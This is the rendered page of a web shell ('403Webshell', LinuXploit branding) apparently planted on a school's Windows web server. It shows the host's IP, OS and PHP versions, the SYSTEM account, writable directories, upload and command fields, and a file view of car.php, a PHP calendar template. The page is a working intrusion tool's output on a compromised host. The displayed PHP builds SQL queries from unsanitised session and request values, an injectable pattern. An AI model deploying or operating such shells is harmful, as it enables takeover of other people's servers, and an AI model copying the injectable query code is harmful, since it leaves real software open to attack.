403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/nongplamor_new/bbb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/nongplamor_new/bbb/car.php
<?php

$Color = 1 ;
echo "<TR>"; 
if($Color == 0){
    $Color = 1 ;
    $ColorFill = "#F0F0F0";
    $textfill="#CC3333";
}else{
    $Color = 0 ;
    $ColorFill = "#FDEAFB";
    $textfill="#0066FF";
}
$year=2567;
$month= 11;
$day= 24;
//echo "$day-$month-$year";
//	$link = $this->getDateLink($day, $month, $year);
        $link['link'] = "popup.php?name=calendar&file=view&id=".$arr[calendar][id]."&dates=".$arr[calendar][date_event]."";
        $arr[calendar][subject] = preg_replace("/\'/i", "&#039;", $arr[calendar][subject]);
        $arr[calendar][subject] = htmlspecialchars($arr[calendar][subject]);
        $link['title'] = "".stripslashes($arr[calendar][subject])."";

        $res[person] = $db->select_query("SELECT * FROM ".TB_user." WHERE id ='". $arr[calendar][person] ."' ");
        $arr[person] = $db->fetch($res[person]);

?>
        <TD bgcolor="<?=$ColorFill; ?>" valign=top align="center"><?=$rank;?></td>
        <TD bgcolor="<?=$ColorFill; ?>"  valign=top align="center"><? echo $arr[calendar][room]; ?></td>
        <TD bgcolor="<?=$ColorFill; ?>"  valign=top align="center"><?echo  "".thai_date_short(strtotime($arr[calendar][date_event])."" );?></td>
        <TD bgcolor="<?=$ColorFill; ?>" valign=top align="center"><? echo $arr[calendar][timein]; ?>-<? echo $arr[calendar][timeout]; ?></td>
        <TD bgcolor="<?=$ColorFill; ?>" valign=top><img src="images/a.gif" border="0"><? echo "<a href=\"".$link['link']."\" onclick=\"return hs.htmlExpand(this, { contentId: 'highslide-html', objectType: 'iframe', objectWidth: 700, objectHeight: 500} )\" )\">"; ?><font color="<?=$textfill; ?>"><b><? echo $arr[calendar][subject]; ?></a></td>
        <TD bgcolor="<?=$ColorFill; ?>"valign=top>	<? echo $arr[calendar][detail]; ?></td>
        <TD bgcolor="<?=$ColorFill; ?>" valign=top ><? echo $arr[person][category_name]; ?></td>
 <?

$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
$arr[user] = $db->fetch($res[user]);
?>
<?
if  (($arr[user][work]=='9')AND($arr[user][status]==1)OR($arr[user][work]=='4')AND($arr[user][status]==1)OR($arr[user][cotton]=='4')AND($arr[user][status]==1)){  // ศธจ.============================================ 
?>
<td width="60" valign="top">
              <a href="?name=calendar&file=editevent&id=<? echo $arr[calendar][id];?>"><img src="images/admin/edit.gif" border="0" alt="แก้ไข" ></a> 
              <a href="?name=calendar&file=delevent&id=<? echo $arr[calendar][id];?>"><img src="images/admin/trash.gif"  border="0" alt="ลบ" ></a>
</td>
<?
}
?>	
        </tr>
        <tr>
        <td height="1" align="left" class="dotline" colspan="5"></td>
        </tr>
<?
            $rank++;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit